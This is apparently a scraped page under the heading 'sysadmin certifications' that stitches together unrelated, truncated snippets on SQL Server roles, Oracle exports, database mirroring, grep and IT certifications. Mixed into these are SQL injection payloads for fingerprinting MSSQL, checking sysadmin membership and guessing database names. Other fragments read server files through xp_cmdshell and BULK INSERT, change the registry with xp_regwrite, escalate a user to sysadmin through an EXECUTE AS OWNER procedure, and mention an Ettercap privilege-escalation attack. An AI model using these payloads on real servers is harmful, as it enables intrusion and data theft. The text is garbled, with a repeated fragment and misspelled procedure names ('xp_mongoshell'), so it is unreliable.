sysadmin certifications

/*------------------------------------------------------------------------------------Server-level-server role----------- -------------------------------------------------------------------------*/--View fixed server roles (8, no additions or deletions, not including public, Each user belongs to the public server role) EXEC sp_helpsrvroleexec sp_helpsrvrole @srvrolename = ' sysadmin '--View the description of the permissions that the server role has (

reserved. Connect to: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0-production With the partitioning, OLAP and Data Mining options ORA-39002: Invalid operation ORA-39070: Unable to open log file. ORA-39087: Directory name Dump_dir invalid 3. Export Table Space EXPDP system/sysadmin Directory=dump_dir dumpfile=tablespace.dmp tablespaces=users C:\>EXPDP system/sysadmin directory=my_dir dumpfile=t

And exists (select * from sysobjects) // you can check whether it is MSSQL. And exists (select * from tableName) // determines whether a table exists. tableName indicates the table name. And 1 = (select @ VERSION) // MSSQL VERSION And 1 = (select db_name () // Current Database Name And 1 = (select @ servername) // local service name And 1 = (select IS_SRVROLEMEMBER ('sysadmin') // determine whether the system administrator is And 1 = (Select IS_MEMBER

can use the resources listed in the "Resources" section of this column, which provides additional steps to help you secure the development of SQL Server. In general, the best way to secure a development server is to protect it as if it were running in a production environment. The closer you are to this goal, the more confident you will be that the code you develop can work properly in a secure production environment. Go back to the top of the page and develop with the least privilege account

parameter is set to include only the currently changed fields (Improving the Performance of DB update) When an update SQL statement is generated ).3. When the dynamic-insert parameter is set to generate an insert SQL statement, only non-empty fields are included. (Improves dB insert performance)4. The proxy parameter is null, indicating that the current class does not use proxy ). The role of the proxy class is to provide support for lazy. Loading. For more information, see lazy loading.5. The

to recover the database. Log transmission allows transaction logs to be repeatedly fed back to another database from one database (source ). Keep the synchronization between the target database and the original database so that you have a backup database and provide a way to unload the query from the master database to the read-only target server. 1. sp_add_maintenance_plan Add a maintenance plan and return the plan ID Syntax: Double-click all code 12 sp_add_maintenance_plan

, run xp_cmdsell; Insert into temp (ID) exec master. DBO. xp_mongoshell 'Type c: \ WEB \ index. asp ';--14. Insert a text file into a temporary table; Bulk insert temp (ID) from 'C: \ Inetpub \ wwwroot \ index. asp'15. After each browse, all contents in temp should be deleted:; Delete from temp ;--16. The temp table can be viewed:And (select top 1 ID from testdb. DBO. Temp)> 0 suppose testdb is the name of the database currently connected17. Guess all database namesAnd (select count (*) from Mas

March into xp_mongoshell -- Use MSSQL database storage extension to obtain server management right In MSSQL, users with SysAdmin permissions can use the xp_cmdshell storage extension to execute arbitrary system commands with system permissions. Therefore, most administrators who pay more attention to security will delete these commands, even if the object is not deleted, it may be discarded due to insufficient permissions. Therefore, obtaining the ex

is not turned on, which is why you need to xp_regwrite, and xp_regwrite at least db_owner permissions, and for convenience, it is recommended that you use the sysadmin permission test: ? EXEC master.. Xp_regwrite ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\jet\4.0\engines ', ' SandboxMode ', ' REG_DWORD ', 1 Note: 0 prohibition Everything (default) 1 makes access accessible, but prohibits other 2 disables access, but enables other 3 Enable everythin

characters. 7. take exams and certifications correctly. Many people take computer level 4, soft exams, and various certifications, and take these exams as their learning objectives, hoping to find a good job with a certificate. However, in addition to Cisco's ccna, ccnp, and CCIE certifications that have been supported by commercial factors and cost thousands

Tags: mode mirroring service STR ready ATI over name win RorPreparation Conditions Server Planning Server Role machine name/role name Software IP Principal server Repa SQL Server R2 192.168.0.10 mirror server Repb SQL Server R2 192.168.0.20 Witness server Win7 SQL Server R2 192.168.0.30 2. Server-Related Settings1、创建文件夹

log on to SQL Server. Windows logon uses many cryptographic information to authenticate SQL Server, and passwords are not passed across the network during authentication. In addition, the Active Directory under the Kerberos protocol provides an additional level of security. As a result, authentication is more reliable, and the use of role-based Active Directory groups can reduce control access management. Compared to Windows Authentication mode, mixed Mode authentication supports Windows accoun

is completely restored. ◆Tape drive. Select this option when backing up a database from a tape drive device. Backup-related options. MSDN has a very detailed document, which is recommended here. After reading this document, I will have a deep understanding of backup storage.. Http://msdn.microsoft.com/zh-cn/vcsharp/ms178062.aspx Database restoration options ◆ Overwrite existing database check box: select this option to overwrite all existing databases and related files, including existing data

How do I use the or,and,not operator in the grep command of Linux?In fact, in the grep command, there are equivalent options for the OR and not operators, but there is no grep and this operator. However, you can use patterns to simulate and manipulate. Here are some examples of how or,and,not is used in the grep command of Linux.In the following example, this Employee.txt file is used, as follows: [Plain] view plaincopy $ cat Employee.txt Thomas Manager Sales $5,000 Jason Deve

, run xp_cmdsell; Insert into temp (ID) exec master. DBO. xp_mongoshell 'Type c: \ WEB \ index. asp ';--14. Insert a text file into a temporary table; Bulk insert temp (ID) from 'C: \ Inetpub \ wwwroot \ index. asp'15. After each browse, all contents in temp should be deleted:; Delete from temp ;--16. The temp table can be viewed:And (select top 1 ID from testdb. DBO. Temp)> 0 suppose testdb is the name of the database currently connected17. Guess all database namesAnd (select count (*) from Mas

server| Data | database | user RIGHTS | statement GRANT Create projects in the security system so that users in the current database can process data in the current database or execute specific Transact-SQL statements. Grammar Statement permissions: GRANT {ALL | statement [,... n]} to security_account [,... N] Object permissions: GRANT {All [privileges] | permission [,... n]} {[(column [,... N])] on {table | view} | On {table | view} [(column [,... n])] | on {stored_procedure | extended_proce

advanced technologies. Based on these certifications, enterprises can use these certifications as the criteria for judging recruitment talents, or as a basis for measuring the technical level of employees. In terms of technology, these certifications can also prove the technical competence of individuals. Sun has always been a leader in technology and market sh

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the database and the database is configured as trusted. -- Create a stored procedure to add MyAppUser to sysadmin roleUSE MyAppDbGOCREATE PROCEDURE sp_elevate_meWITH execute as ownerasexec sp_addsrvrolemember 'myappuser ', 'sysadmin' GO check that MyAppUser is not the system administrator -- Verify MyAppUser is not a sysadminSELECT is_srvrolemember ('sysadmin ')

! We have logged on to our account, but unfortunately the current account does not have much permissions and we cannot do much. However, this is not the case. The next step is to use the Ettercap filter for the next attack to increase the permissions of the current account. Here we can easily do this, But manual hexadecimal conversion and adding NULL bytes are boring. Who would like to do this? Is this a good POC? No way. We don't want to give up so soon. So, why can't we use an automated script